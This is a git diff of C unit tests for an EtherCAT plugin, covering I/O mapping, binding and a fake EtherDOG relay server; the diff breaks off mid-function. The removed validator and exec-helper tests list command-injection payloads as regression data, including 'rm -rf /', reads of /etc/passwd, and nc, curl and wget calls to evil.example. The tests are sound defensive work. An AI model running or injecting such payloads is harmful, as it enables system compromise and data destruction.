TEST_ASSERT_TRUE(ecat_is_valid_iface_name("ec_master")); -} - -void test_iface_validator_Hyphen_ShouldAccept(void) -{ - TEST_ASSERT_TRUE(ecat_is_valid_iface_name("eth-net")); -} - -void test_iface_validator_MixedCase_ShouldAccept(void) -{ - TEST_ASSERT_TRUE(ecat_is_valid_iface_name("Eth0")); -} - -/* ---- Security regression: documented command-injection payloads ---- */ - -void test_iface_validator_CommandInjectionPayloads_ShouldReject(void) -{ - /* Real-world payloads collected from common command-injection - * cheatsheets. Per-character classes are already covered above; this - * test serves as a documented security regression and a single place - * to add new payloads that show up in audits. */ - static const char *payloads[] = { - "eth0; cat /etc/passwd", - "eth0;rm -rf /", - "$(id)", - "eth0$(whoami)", - "`id`", - "eth0`whoami`", - "eth0|nc evil 1337", - "eth0 && wget evil.example/x", - "eth0||curl evil.example", - "eth0\nrm -rf /", - "eth0\r\nGET / HTTP/1.0", - "eth0 ../../etc/passwd", - "eth0/../../tmp", - "eth0\\..\\..\\windows", - "eth0 'OR 1=1 --", - "eth0\"; DROP TABLE x; --", - }; - - for (size_t i = 0; i < sizeof(payloads) / sizeof(payloads[0]); i++) { - char message[160]; - snprintf(message, sizeof(message), - "payload #%zu must be rejected: %s", i, payloads[i]); - TEST_ASSERT_FALSE_MESSAGE(ecat_is_valid_iface_name(payloads[i]), message); - } -} diff --git a/tests/test_ethercat_iomap.c b/tests/test_ethercat_iomap.c new file mode 100644 index 00000000..d4a16def --- /dev/null +++ b/tests/test_ethercat_iomap.c @@ -0,0 +1,432 @@ +// SPDX-License-Identifier: MIT +// Copyright (c) 2026 Autonomy® + +/** + * @file test_ethercat_iomap.c + * @brief Unit tests for the EtherCAT client's mapping file, layout join and per-cycle copies. + */ + +#include "ethercat_iomap.h" +#include "unity.h" + +#include +#include + +TEST_SOURCE_FILE("core/src/drivers/plugins/native/cjson/cJSON.c") + +static const char *TMPFILE = "test_ethercat_iomap_tmp.json"; + +/* EK1818-shaped layout: 4 output bits, 8 input bits, one byte each way. */ +static const char *LAYOUT = + "{\"status\":\"success\",\"masters\":[{\"index\":0,\"name\":\"m0\",\"state\":\"OPERATIONAL\"," + "\"ready\":true,\"output_bytes\":3,\"input_bytes\":3,\"entries\":[" + "{\"slave\":1,\"pdo\":\"0x1600\",\"index\":\"0x7000\",\"subindex\":1,\"direction\":\"output\"," + "\"bit_offset\":0,\"bit_length\":1,\"data_type\":\"BOOL\",\"name\":\"Out1\"}," + "{\"slave\":1,\"pdo\":\"0x1601\",\"index\":\"0x7010\",\"subindex\":1,\"direction\":\"output\"," + "\"bit_offset\":8,\"bit_length\":16,\"data_type\":\"UINT16\",\"name\":\"Word\"}," + "{\"slave\":1,\"pdo\":\"0x1a00\",\"index\":\"0x6000\",\"subindex\":1,\"direction\":\"input\"," + "\"bit_offset\":3,\"bit_length\":1,\"data_type\":\"BOOL\",\"name\":\"In1\"}," + "{\"slave\":1,\"pdo\":\"0x1a01\",\"index\":\"0x6010\",\"subindex\":1,\"direction\":\"input\"," + "\"bit_offset\":8,\"bit_length\":16,\"data_type\":\"UINT16\",\"name\":\"InWord\"}]}]}"; + +/* --- fake runtime image and journal ---------------------------------------------------- */ + +#define BUF 16 +static IEC_BOOL bool_out_vals[BUF][8]; +static IEC_BOOL *bool_out[BUF][8]; +static IEC_BOOL *bool_in[BUF][8]; +static IEC_UINT int_out_vals[BUF]; +static IEC_UINT *int_out[BUF]; +static IEC_UINT *int_in[BUF]; +static plugin_runtime_args_t args; + +static int last_bool_index, last_bool_bit, last_bool_value, bool_writes; +static int last_int_index; +static unsigned last_int_value; + +static int fake_bool(int type, int index, int bit, int value) +{ + (void)type; + last_bool_index = index; + last_bool_bit = bit; + last_bool_value = value; + bool_writes++; + return 0; +} +static int fake_byte(int type, int index, int v) { (void)type; (void)index; (void)v; return 0; } +static int fake_int(int type, int index, int v) +{ + (void)type; + last_int_index = index; + last_int_value = (unsigned)v; + return 0; +} +static int fake_dint(int type, int index, unsigned int v) { (void)type; (void)index; (void)v; return 0; } +static int fake_lint(int type, int index, unsigned long long v) +{ + (void)type; + (void)index; + (void)v; + return 0; +} + +static ecat_iomap_t map; +static ecat_bound_map_t bound; + +void setUp(void) +{ + memset(&args, 0, sizeof(args)); + memset(bool_out_vals, 0, sizeof(bool_out_vals)); + memset(int_out_vals, 0, sizeof(int_out_vals)); + for (int i = 0; i < BUF; i++) { + for (int b = 0; b < 8; b++) { + bool_out[i][b] = &bool_out_vals[i][b]; + bool_in[i][b] = &bool_out_vals[i][b]; + } + int_out[i] = &int_out_vals[i]; + int_in[i] = &int_out_vals[i]; + } + args.bool_output = bool_out; + args.bool_input = bool_in; + args.int_output = int_out; + args.int_input = int_in; + args.buffer_size = BUF; + args.journal_write_bool = fake_bool; + args.journal_write_byte = fake_byte; + args.journal_write_int = fake_int; + args.journal_write_dint = fake_dint; + args.journal_write_lint = fake_lint; + bool_writes = 0; +} + +void tearDown(void) +{ + remove(TMPFILE); +} + +static void write_mapping(const char *entries) +{ + FILE *fp = fopen(TMPFILE, "w"); + TEST_ASSERT_NOT_NULL(fp); + fprintf(fp, "{\"version\":1,\"masters\":[{\"name\":\"m0\",\"entries\":[%s]}]}", entries); + fclose(fp); +} + +static int bind_mapping(const char *entries, char *err, size_t err_size) +{ + write_mapping(entries); + TEST_ASSERT_EQUAL_INT(0, ecat_iomap_load(TMPFILE, &map, err, err_size)); + cJSON *layout = cJSON_Parse(LAYOUT); + TEST_ASSERT_NOT_NULL(layout); + int rc = ecat_iomap_bind(&map, layout, &args, &bound, err, err_size); + cJSON_Delete(layout); + return rc; +} + +/* --- loading ------------------------------------------------------------------------------ */ + +void test_load_rejects_wrong_version(void) +{ + char err[256]; + FILE *fp = fopen(TMPFILE, "w"); + fputs("{\"version\":2,\"masters\":[]}", fp); + fclose(fp); + TEST_ASSERT_EQUAL_INT(-1, ecat_iomap_load(TMPFILE, &map, err, sizeof(err))); +} + +void test_load_rejects_bad_iec_location(void) +{ + char err[256]; + write_mapping("{\"slave\":1,\"index\":\"0x6000\",\"subindex\":1,\"iec_location\":\"%IZ0\"}"); + TEST_ASSERT_EQUAL_INT(-1, ecat_iomap_load(TMPFILE, &map, err, sizeof(err))); + TEST_ASSERT_NOT_NULL(strstr(err, "%IZ0")); +} + +/* --- binding ----------------------------------------------------------------------------- */ + +void test_bind_resolves_inputs_and_outputs(void) +{ + char err[256] = ""; + int rc = bind_mapping( + "{\"slave\":1,\"index\":\"0x7000\",\"subindex\":1,\"iec_location\":\"%QX0.1\"}," + "{\"slave\":1,\"index\":\"0x7010\",\"subindex\":1,\"iec_location\":\"%QW2\"}," + "{\"slave\":1,\"index\":\"0x6000\",\"subindex\":1,\"iec_location\":\"%IX1.4\"}," + "{\"slave\":1,\"index\":\"0x6010\",\"subindex\":1,\"iec_location\":\"%IW3\"}", + err, sizeof(err)); + TEST_ASSERT_EQUAL_INT_MESSAGE(0, rc, err); + TEST_ASSERT_TRUE(bound.masters[0].active); + TEST_ASSERT_EQUAL_INT(2, bound.masters[0].output_count); + TEST_ASSERT_EQUAL_INT(2, bound.masters[0].input_count); +} + +void test_bind_fails_on_missing_entry(void) +{ + char err[256] = ""; + int rc = bind_mapping("{\"slave\":2,\"index\":\"0x6000\",\"subindex\":1,\"iec_location\":\"%IX0.0\"}", + err, sizeof(err)); + TEST_ASSERT_EQUAL_INT(ECAT_IOMAP_CONFIG_ERROR, rc); + TEST_ASSERT_NOT_NULL(strstr(err, "no matching process data entry")); +} + +void test_bind_fails_on_direction_mismatch(void) +{ + char err[256] = ""; + int rc = bind_mapping("{\"slave\":1,\"index\":\"0x6000\",\"subindex\":1,\"iec_location\":\"%QX0.0\"}", + err, sizeof(err)); + TEST_ASSERT_EQUAL_INT(ECAT_IOMAP_CONFIG_ERROR, rc); + TEST_ASSERT_NOT_NULL(strstr(err, "input data")); +} + +void test_bind_fails_on_width_mismatch(void) +{ + char err[256] = ""; + int rc = bind_mapping("{\"slave\":1,\"index\":\"0x6010\",\"subindex\":1,\"iec_location\":\"%IB0\"}", + err, sizeof(err)); + TEST_ASSERT_EQUAL_INT(ECAT_IOMAP_CONFIG_ERROR, rc); + TEST_ASSERT_NOT_NULL(strstr(err, "16 bits")); +} + +void test_bind_fails_when_master_not_running(void) +{ + char err[256] = ""; + FILE *fp = fopen(TMPFILE, "w"); + fputs("{\"version\":1,\"masters\":[{\"name\":\"other\",\"entries\":[]}]}", fp); + fclose(fp); + TEST_ASSERT_EQUAL_INT(0, ecat_iomap_load(TMPFILE, &map, err, sizeof(err))); + cJSON *layout = cJSON_Parse(LAYOUT); + TEST_ASSERT_EQUAL_INT(-1, ecat_iomap_bind(&map, layout, &args, &bound, err, sizeof(err))); + cJSON_Delete(layout); + TEST_ASSERT_NOT_NULL(strstr(err, "other")); +} + +/* m0 operational, m1 not */ +static const char *TWO_MASTER_LAYOUT = + "{\"status\":\"success\",\"masters\":[" + "{\"index\":0,\"name\":\"m0\",\"ready\":true,\"output_bytes\":1,\"input_bytes\":1," + "\"entries\":[{\"slave\":1,\"pdo\":\"0x1a00\",\"index\":\"0x6000\",\"subindex\":1," + "\"direction\":\"input\",\"bit_offset\":0,\"bit_length\":1,\"data_type\":\"BOOL\"," + "\"name\":\"In1\"}]}," + "{\"index\":1,\"name\":\"m1\",\"ready\":false,\"output_bytes\":0,\"input_bytes\":0," + "\"entries\":[]}]}"; + +static int bind_two_masters(const char *m0_entries, char *err, size_t err_size) +{ + FILE *fp = fopen(TMPFILE, "w"); + TEST_ASSERT_NOT_NULL(fp); + fprintf(fp, + "{\"version\":1,\"masters\":[{\"name\":\"m0\",\"entries\":[%s]}," + "{\"name\":\"m1\",\"entries\":[{\"slave\":1,\"index\":\"0x6000\",\"subindex\":1," + "\"iec_location\":\"%%IX2.0\"}]}]}", + m0_entries); + fclose(fp); + TEST_ASSERT_EQUAL_INT(0, ecat_iomap_load(TMPFILE, &map, err, err_size)); + cJSON *layout = cJSON_Parse(TWO_MASTER_LAYOUT); + TEST_ASSERT_NOT_NULL(layout); + int rc = ecat_iomap_bind(&map, layout, &args, &bound, err, err_size); + cJSON_Delete(layout); + return rc; +} + +void test_bind_skips_a_master_that_is_not_operational(void) +{ + char err[256] = ""; + int rc = bind_two_masters( + "{\"slave\":1,\"index\":\"0x6000\",\"subindex\":1,\"iec_location\":\"%IX0.0\"}", err, + sizeof(err)); + TEST_ASSERT_EQUAL_INT_MESSAGE(0, rc, err); + TEST_ASSERT_TRUE(bound.masters[0].active); + TEST_ASSERT_EQUAL_INT(1, bound.masters[0].input_count); + TEST_ASSERT_FALSE(bound.masters[1].active); + TEST_ASSERT_EQUAL_INT(1, bound.not_ready_count); + TEST_ASSERT_EQUAL_STRING("m1", bound.not_ready[0]); +} + +void test_bind_fails_when_no_master_is_operational(void) +{ + char err[256] = ""; + FILE *fp = fopen(TMPFILE, "w"); + fputs("{\"version\":1,\"masters\":[{\"name\":\"m1\",\"entries\":[]}]}", fp); + fclose(fp); + TEST_ASSERT_EQUAL_INT(0, ecat_iomap_load(TMPFILE, &map, err, sizeof(err))); + cJSON *layout = cJSON_Parse(TWO_MASTER_LAYOUT); + TEST_ASSERT_EQUAL_INT(-1, ecat_iomap_bind(&map, layout, &args, &bound, err, sizeof(err))); + cJSON_Delete(layout); + TEST_ASSERT_NOT_NULL(strstr(err, "no mapped master is operational")); +} + +/* --- per-cycle copies --------------------------------------------------------------------- */ + +void test_collect_outputs_packs_bits_and_words(void) +{ + char err[256] = ""; + TEST_ASSERT_EQUAL_INT(0, bind_mapping( + "{\"slave\":1,\"index\":\"0x7000\",\"subindex\":1,\"iec_location\":\"%QX0.1\"}," + "{\"slave\":1,\"index\":\"0x7010\",\"subindex\":1,\"iec_location\":\"%QW2\"}", + err, sizeof(err))); + bool_out_vals[0][1] = 1; + int_out_vals[2] = 0xBEEF; + + uint8_t payload[3]; + memset(payload, 0xFF, sizeof(payload)); + ecat_iomap_collect_outputs(&bound.masters[0], payload, sizeof(payload)); + TEST_ASSERT_EQUAL_HEX8(0x01, payload[0]); /* bit 0 set, the rest cleared */ + TEST_ASSERT_EQUAL_HEX8(0xEF, payload[1]); + TEST_ASSERT_EQUAL_HEX8(0xBE, payload[2]); +} + +void test_publish_inputs_writes_journal(void) +{ + char err[256] = ""; + TEST_ASSERT_EQUAL_INT(0, bind_mapping( + "{\"slave\":1,\"index\":\"0x6000\",\"subindex\":1,\"iec_location\":\"%IX1.4\"}," + "{\"slave\":1,\"index\":\"0x6010\",\"subindex\":1,\"iec_location\":\"%IW3\"}", + err, sizeof(err))); + uint8_t payload[3] = { 0x08, 0x34, 0x12 }; /* bit 3 set; word 0x1234 at byte 1 */ + ecat_iomap_publish_inputs(&bound.masters[0], payload, sizeof(payload), &args); + TEST_ASSERT_EQUAL_INT(1, bool_writes); + TEST_ASSERT_EQUAL_INT(1, last_bool_index); + TEST_ASSERT_EQUAL_INT(4, last_bool_bit); + TEST_ASSERT_EQUAL_INT(1, last_bool_value); + TEST_ASSERT_EQUAL_INT(3, last_int_index); + TEST_ASSERT_EQUAL_HEX16(0x1234, last_int_value); +} + +void test_load_rejects_duplicate_master_names(void) +{ + FILE *fp = fopen(TMPFILE, "w"); + TEST_ASSERT_NOT_NULL(fp); + fprintf(fp, "{\"version\":1,\"masters\":[{\"name\":\"m0\",\"entries\":[]}," + "{\"name\":\"m0\",\"entries\":[]}]}"); + fclose(fp); + char err[256]; + TEST_ASSERT_EQUAL_INT(-1, ecat_iomap_load(TMPFILE, &map, err, sizeof(err))); + TEST_ASSERT_NOT_NULL(strstr(err, "used twice")); +} + +static void write_mapping_with(int count) +{ + FILE *fp = fopen(TMPFILE, "w"); + TEST_ASSERT_NOT_NULL(fp); + fprintf(fp, "{\"version\":1,\"masters\":[{\"name\":\"m0\",\"entries\":["); + for (int i = 0; i < count; i++) + fprintf(fp, "%s{\"slave\":%d,\"index\":\"0x6000\",\"subindex\":%d,\"iec_location\":\"%%IW%d\"}", + i ? "," : "", 1 + i / 256, i % 256, i); + fprintf(fp, "]}]}"); + fclose(fp); +} + +void test_load_accepts_the_entry_limit_and_rejects_one_more(void) +{ + char err[256]; + write_mapping_with(ECAT_IOMAP_MAX_ENTRIES); + TEST_ASSERT_EQUAL_INT_MESSAGE(0, ecat_iomap_load(TMPFILE, &map, err, sizeof(err)), err); + TEST_ASSERT_EQUAL_INT(2048, map.masters[0].entry_count); + + write_mapping_with(ECAT_IOMAP_MAX_ENTRIES + 1); + TEST_ASSERT_EQUAL_INT(-1, ecat_iomap_load(TMPFILE, &map, err, sizeof(err))); + TEST_ASSERT_NOT_NULL(strstr(err, "more than 2048 entries")); +} + +/* --- review: image sizes and duplicates ----------------------------------------------------- */ + +static int bind_layout(const char *layout_text, const char *entries, char *err, size_t err_size) +{ + write_mapping(entries); + TEST_ASSERT_EQUAL_INT(0, ecat_iomap_load(TMPFILE, &map, err, err_size)); + cJSON *layout = cJSON_Parse(layout_text); + TEST_ASSERT_NOT_NULL(layout); + int rc = ecat_iomap_bind(&map, layout, &args, &bound, err, err_size); + cJSON_Delete(layout); + return rc; +} + +#define ONE_INPUT "{\"slave\":1,\"index\":\"0x6000\",\"subindex\":1,\"iec_location\":\"%IX0.0\"}" +#define LAYOUT_SIZES(out, in) \ + "{\"masters\":[{\"index\":0,\"name\":\"m0\",\"ready\":true," out in "\"entries\":[" \ + "{\"slave\":1,\"pdo\":\"0x1a00\",\"index\":\"0x6000\",\"subindex\":1,\"direction\":\"input\"," \ + "\"bit_offset\":0,\"bit_length\":1}]}]}" + +void test_bind_rejects_an_image_larger_than_a_data_frame(void) +{ + char err[256] = ""; + int rc = bind_layout(LAYOUT_SIZES("\"output_bytes\":4097,", "\"input_bytes\":1,"), ONE_INPUT, err, + sizeof(err)); + TEST_ASSERT_EQUAL_INT(ECAT_IOMAP_CONFIG_ERROR, rc); + TEST_ASSERT_NOT_NULL(strstr(err, "4096 bytes")); + rc = bind_layout(LAYOUT_SIZES("\"output_bytes\":0,", "\"input_bytes\":8192,"), ONE_INPUT, err, + sizeof(err)); + TEST_ASSERT_EQUAL_INT(ECAT_IOMAP_CONFIG_ERROR, rc); +} + +void test_bind_rejects_a_missing_image_size(void) +{ + char err[256] = ""; + int rc = bind_layout(LAYOUT_SIZES("", "\"input_bytes\":1,"), ONE_INPUT, err, sizeof(err)); + TEST_ASSERT_EQUAL_INT(ECAT_IOMAP_CONFIG_ERROR, rc); +} + +void test_bind_accepts_an_image_of_exactly_one_data_frame(void) +{ + char err[256] = ""; + int rc = bind_layout(LAYOUT_SIZES("\"output_bytes\":4096,", "\"input_bytes\":4096,"), ONE_INPUT, + err, sizeof(err)); + TEST_ASSERT_EQUAL_INT_MESSAGE(0, rc, err); +} + +void test_collect_outputs_refuses_a_length_beyond_a_data_frame(void) +{ + uint8_t payload[8] = { 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA }; + ecat_bound_master_t m; + memset(&m, 0, sizeof(m)); + ecat_iomap_collect_outputs(&m, payload, 8192); + TEST_ASSERT_EQUAL_HEX8(0xAA, payload[0]); +} + +void test_load_rejects_a_process_data_entry_mapped_twice(void) +{ + char err[256] = ""; + write_mapping("{\"slave\":1,\"index\":\"0x7000\",\"subindex\":1,\"iec_location\":\"%QX0.0\"}," + "{\"slave\":1,\"index\":\"0x7000\",\"subindex\":1,\"iec_location\":\"%QX1.0\"}"); + TEST_ASSERT_EQUAL_INT(-1, ecat_iomap_load(TMPFILE, &map, err, sizeof(err))); + TEST_ASSERT_NOT_NULL(strstr(err, "mapped twice: %QX0.0 and %QX1.0")); +} + +void test_load_rejects_a_location_mapped_twice(void) +{ + char err[256] = ""; + write_mapping("{\"slave\":1,\"index\":\"0x7000\",\"subindex\":1,\"iec_location\":\"%QX0.0\"}," + "{\"slave\":1,\"index\":\"0x7010\",\"subindex\":1,\"iec_location\":\"%qx0.0\"}"); + TEST_ASSERT_EQUAL_INT(-1, ecat_iomap_load(TMPFILE, &map, err, sizeof(err))); + TEST_ASSERT_NOT_NULL(strstr(err, "is mapped twice")); +} + +void test_load_rejects_a_location_mapped_twice_across_masters(void) +{ + char err[256] = ""; + FILE *fp = fopen(TMPFILE, "w"); + fputs("{\"version\":1,\"masters\":[" + "{\"name\":\"m0\",\"entries\":[{\"slave\":1,\"index\":\"0x6000\",\"subindex\":1," + "\"iec_location\":\"%IW2\"}]}," + "{\"name\":\"m1\",\"entries\":[{\"slave\":1,\"index\":\"0x6000\",\"subindex\":1," + "\"iec_location\":\"%IW2\"}]}]}", + fp); + fclose(fp); + TEST_ASSERT_EQUAL_INT(-1, ecat_iomap_load(TMPFILE, &map, err, sizeof(err))); + TEST_ASSERT_NOT_NULL(strstr(err, "master 'm0'")); + TEST_ASSERT_NOT_NULL(strstr(err, "master 'm1'")); +} + +void test_bind_rejects_an_entry_the_layout_lists_in_two_pdos(void) +{ + char err[256] = ""; + int rc = bind_layout( + "{\"masters\":[{\"index\":0,\"name\":\"m0\",\"ready\":true,\"output_bytes\":0," + "\"input_bytes\":2,\"entries\":[" + "{\"slave\":1,\"pdo\":\"0x1a00\",\"index\":\"0x6000\",\"subindex\":1,\"direction\":\"input\"," + "\"bit_offset\":0,\"bit_length\":1}," + "{\"slave\":1,\"pdo\":\"0x1a01\",\"index\":\"0x6000\",\"subindex\":1,\"direction\":\"input\"," + "\"bit_offset\":8,\"bit_length\":1}]}]}", + ONE_INPUT, err, sizeof(err)); + TEST_ASSERT_EQUAL_INT(ECAT_IOMAP_CONFIG_ERROR, rc); + TEST_ASSERT_NOT_NULL(strstr(err, "in 2 PDOs")); +} diff --git a/tests/test_ethercat_proc.c b/tests/test_ethercat_proc.c deleted file mode 100644 index a2a1069d..00000000 --- a/tests/test_ethercat_proc.c +++ /dev/null @@ -1,159 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file test_ethercat_proc.c - * @brief Unit tests for ecat_run_argv() — fork+execvp helper. - * - * Exercises spawning, exit-code propagation, and stdout capture using - * standard Unix utilities (/bin/true, /bin/false, /bin/echo) so the - * tests do not depend on plugin-specific binaries. - */ - -#include "ethercat_proc.h" -#include "unity.h" - -#include - -void setUp(void) {} -void tearDown(void) {} - -/* ---- NULL guards ---- */ - -void test_run_argv_NullBin_ShouldFail(void) -{ - char *argv[] = { "true", NULL }; - TEST_ASSERT_EQUAL_INT(-1, ecat_run_argv(NULL, argv, NULL, 0)); -} - -void test_run_argv_NullArgv_ShouldFail(void) -{ - TEST_ASSERT_EQUAL_INT(-1, ecat_run_argv("/bin/true", NULL, NULL, 0)); -} - -/* ---- Exit status propagation ---- */ - -void test_run_argv_True_ShouldReturnZero(void) -{ - char *argv[] = { "/bin/true", NULL }; - TEST_ASSERT_EQUAL_INT(0, ecat_run_argv("/bin/true", argv, NULL, 0)); -} - -void test_run_argv_False_ShouldReturnOne(void) -{ - char *argv[] = { "/bin/false", NULL }; - TEST_ASSERT_EQUAL_INT(1, ecat_run_argv("/bin/false", argv, NULL, 0)); -} - -void test_run_argv_MissingBinary_ShouldReturn127(void) -{ - /* execvp fails in the child; the child _exit(127) per the helper's - * convention -- same exit code POSIX shells use for "command not found". */ - char *argv[] = { "definitely_not_a_real_binary_xyzzy_42", NULL }; - TEST_ASSERT_EQUAL_INT(127, - ecat_run_argv("definitely_not_a_real_binary_xyzzy_42", argv, NULL, 0)); -} - -/* ---- Stdout capture ---- */ - -void test_run_argv_Capture_ShouldReadStdout(void) -{ - char buf[64]; - memset(buf, 0xFF, sizeof(buf)); /* poison so a missing NUL is visible */ - char *argv[] = { "/bin/echo", "hello", NULL }; - - int rc = ecat_run_argv("/bin/echo", argv, buf, sizeof(buf)); - - TEST_ASSERT_EQUAL_INT(0, rc); - /* /bin/echo appends a trailing newline. */ - TEST_ASSERT_EQUAL_STRING("hello\n", buf); -} - -void test_run_argv_CaptureMultiArg_ShouldJoinWithSpaces(void) -{ - char buf[64]; - memset(buf, 0xFF, sizeof(buf)); - char *argv[] = { "/bin/echo", "foo", "bar", NULL }; - - int rc = ecat_run_argv("/bin/echo", argv, buf, sizeof(buf)); - - TEST_ASSERT_EQUAL_INT(0, rc); - TEST_ASSERT_EQUAL_STRING("foo bar\n", buf); -} - -void test_run_argv_CaptureSmallBuffer_ShouldTruncateAndNullTerminate(void) -{ - /* Buffer fits exactly 4 bytes plus the NUL. - * /bin/echo emits "abcdefghij\n" -- we expect the first 4 chars - * captured and a guaranteed NUL at buf[4]. */ - char buf[5]; - memset(buf, 0xFF, sizeof(buf)); - char *argv[] = { "/bin/echo", "abcdefghij", NULL }; - - int rc = ecat_run_argv("/bin/echo", argv, buf, sizeof(buf)); - - /* echo still exits 0 even though we drained only part of its stdout. */ - TEST_ASSERT_EQUAL_INT(0, rc); - TEST_ASSERT_EQUAL_INT('\0', buf[4]); - TEST_ASSERT_EQUAL_INT(4, (int)strlen(buf)); - TEST_ASSERT_EQUAL_STRING("abcd", buf); -} - -void test_run_argv_NoCaptureBuffer_ShouldStillRun(void) -{ - /* When capture_buf is NULL but capture_size is non-zero, the helper - * should treat it as no-capture (stdout to /dev/null). */ - char *argv[] = { "/bin/echo", "discarded", NULL }; - int rc = ecat_run_argv("/bin/echo", argv, NULL, 64); - TEST_ASSERT_EQUAL_INT(0, rc); -} - -void test_run_argv_ZeroCaptureSize_ShouldNotCapture(void) -{ - /* capture_size == 0 with non-NULL buffer -- helper treats this as - * no-capture (the only sane reading -- otherwise we'd write past - * the zero-length buffer). */ - char buf[1] = { 0x42 }; - char *argv[] = { "/bin/echo", "anything", NULL }; - - int rc = ecat_run_argv("/bin/echo", argv, buf, 0); - - TEST_ASSERT_EQUAL_INT(0, rc); - /* Buffer untouched. */ - TEST_ASSERT_EQUAL_INT(0x42, (unsigned char)buf[0]); -} - -/* ---- Defense in depth: no shell interpretation of argv ---- */ - -void test_run_argv_ShellMetacharsInArgv_AreLiteralArguments(void) -{ - /* The whole point of using fork+execvp instead of system() is that - * argv elements are passed verbatim, never parsed by a shell. If a - * future refactor reintroduces system()/popen()/sh -c, /bin/echo - * would receive different arguments (or none) and this test would - * fail. Treat it as a regression guard. - * - * /bin/echo is a real binary (not a shell built-in here), so any - * substitution we observe in stdout must have come from a shell. */ - char buf[256]; - memset(buf, 0xFF, sizeof(buf)); - char *argv[] = { - "/bin/echo", - "; touch /tmp/ecat_run_argv_pwned", - "$(whoami)", - "`id`", - "&& curl evil.example", - "| nc evil.example 1337", - NULL - }; - - int rc = ecat_run_argv("/bin/echo", argv, buf, sizeof(buf)); - - TEST_ASSERT_EQUAL_INT(0, rc); - /* /bin/echo joins with single spaces and appends a newline. - * Every token must reappear exactly as passed -- no expansion. */ - TEST_ASSERT_EQUAL_STRING( - "; touch /tmp/ecat_run_argv_pwned $(whoami) `id` " - "&& curl evil.example | nc evil.example 1337\n", - buf); -} diff --git a/tests/test_ethercat_relay.c b/tests/test_ethercat_relay.c new file mode 100644 index 00000000..64c8f7af --- /dev/null +++ b/tests/test_ethercat_relay.c @@ -0,0 +1,501 @@ +// SPDX-License-Identifier: MIT +// Copyright (c) 2026 Autonomy® + +/** + * @file test_ethercat_relay.c + * @brief EtherCAT plugin against a fake EtherDOG: start, inputs, reconnect, stop. + */ + +#include "etherdog_link.h" +#include "plugin_types.h" +#include "unity.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +TEST_SOURCE_FILE("core/src/drivers/plugins/native/cjson/cJSON.c") +TEST_SOURCE_FILE("core/src/drivers/plugins/native/plugin_logger.c") +TEST_SOURCE_FILE("core/src/drivers/plugins/native/ethercat/etherdog_link.c") +TEST_SOURCE_FILE("core/src/drivers/plugins/native/ethercat/ethercat_iomap.c") +TEST_SOURCE_FILE("core/src/drivers/plugins/native/ethercat/ethercat_plugin.c") + +int init(void *args); +int start_loop(void); +void stop_loop(void); + +#define SESSION_ID 0xABull + +static const char *LAYOUT = + "{\"status\":\"success\",\"masters\":[{\"index\":0,\"name\":\"m0\",\"state\":\"OPERATIONAL\"," + "\"ready\":true,\"output_bytes\":1,\"input_bytes\":1,\"entries\":[" + "{\"slave\":1,\"pdo\":\"0x1a00\",\"index\":\"0x6000\",\"subindex\":1,\"direction\":\"input\"," + "\"bit_offset\":0,\"bit_length\":1,\"data_type\":\"BOOL\",\"name\":\"In1\"}]}]}"; + +/* m0 mapped, m1 running in EtherDOG but absent from the mapping. */ +static const char *LAYOUT_TWO = + "{\"status\":\"success\",\"masters\":[" + "{\"index\":0,\"name\":\"m0\",\"state\":\"OPERATIONAL\",\"ready\":true,\"output_bytes\":1," + "\"input_bytes\":1,\"entries\":[{\"slave\":1,\"pdo\":\"0x1a00\",\"index\":\"0x6000\"," + "\"subindex\":1,\"direction\":\"input\",\"bit_offset\":0,\"bit_length\":1,\"data_type\":\"BOOL\"," + "\"name\":\"In1\"}]}," + "{\"index\":1,\"name\":\"m1\",\"state\":\"OPERATIONAL\",\"ready\":true,\"output_bytes\":1," + "\"input_bytes\":1,\"entries\":[]}]}"; + +static char ctl_path[108], data_path[108], session_path[128], mapping_path[128]; + +/* Fake EtherDOG knobs, reset in setUp. */ +static const char *layout_reply; +static atomic_int feed_master; /* master index the input frames carry */ +static atomic_int feed_interval_us; /* time between valid frames */ +static atomic_int junk_per_frame; /* malformed datagrams sent after each valid frame */ +static atomic_int configure_priority; /* task_priority in the configure reply */ + +/* --- fake EtherDOG ----------------------------------------------------------------------- */ + +static int listen_fd = -1; +static int data_fd = -1; +static struct sockaddr_un client_addr; +static atomic_bool serving, feeding, have_client; +static atomic_int n_configure, n_start, n_stop; +static pthread_t ctl_thread, feed_thread; + +static void reply(int fd, const char *text) +{ + send(fd, text, strlen(text), 0); + send(fd, "\n", 1, 0); +} + +static void handle(int fd, const char *line) +{ + if (strstr(line, "\"hello\"")) { + reply(fd, "{\"status\":\"success\",\"name\":\"EtherDOG\"}"); + } else if (strstr(line, "\"configure\"")) { + atomic_fetch_add(&n_configure, 1); + char text[160]; + snprintf(text, sizeof(text), + "{\"status\":\"success\",\"masters\":[{\"index\":0,\"name\":\"m0\"," + "\"task_priority\":%d}]}", + atomic_load(&configure_priority)); + reply(fd, text); + } else if (strstr(line, "\"start\"")) { + atomic_fetch_add(&n_start, 1); + reply(fd, "{\"status\":\"success\",\"started\":1,\"total\":1}"); + } else if (strstr(line, "\"layout\"")) { + reply(fd, layout_reply); + } else if (strstr(line, "\"open_data\"")) { + const char *ep = strstr(line, "unix:"); + memset(&client_addr, 0, sizeof(client_addr)); + client_addr.sun_family = AF_UNIX; + size_t i = 0; + for (ep += 5; *ep && *ep != '"' && i < sizeof(client_addr.sun_path) - 1; ep++) + client_addr.sun_path[i++] = *ep; + atomic_store(&have_client, true); + atomic_store(&feeding, true); + char text[256]; + snprintf(text, sizeof(text), + "{\"status\":\"success\",\"masters\":[{\"index\":0,\"endpoint\":\"unix:%s\"," + "\"session\":\"%016llx\"},{\"index\":1,\"endpoint\":\"unix:%s\"," + "\"session\":\"%016llx\"}]}", + data_path, (unsigned long long)SESSION_ID, data_path, + (unsigned long long)SESSION_ID); + reply(fd, text); + } else if (strstr(line, "\"close_data\"")) { + atomic_store(&feeding, false); + reply(fd, "{\"status\":\"success\"}"); + } else if (strstr(line, "\"stop\"")) { + atomic_fetch_add(&n_stop, 1); + atomic_store(&feeding, false); + reply(fd, "{\"status\":\"success\"}"); + } else { + reply(fd, "{\"error\":\"unknown\"}"); + } +} + +static void *serve_control(void *arg) +{ + (void)arg; + while (atomic_load(&serving)) { + struct pollfd p = { .fd = listen_fd, .events = POLLIN }; + if (poll(&p, 1, 50) <= 0) + continue; + int fd = accept(listen_fd, 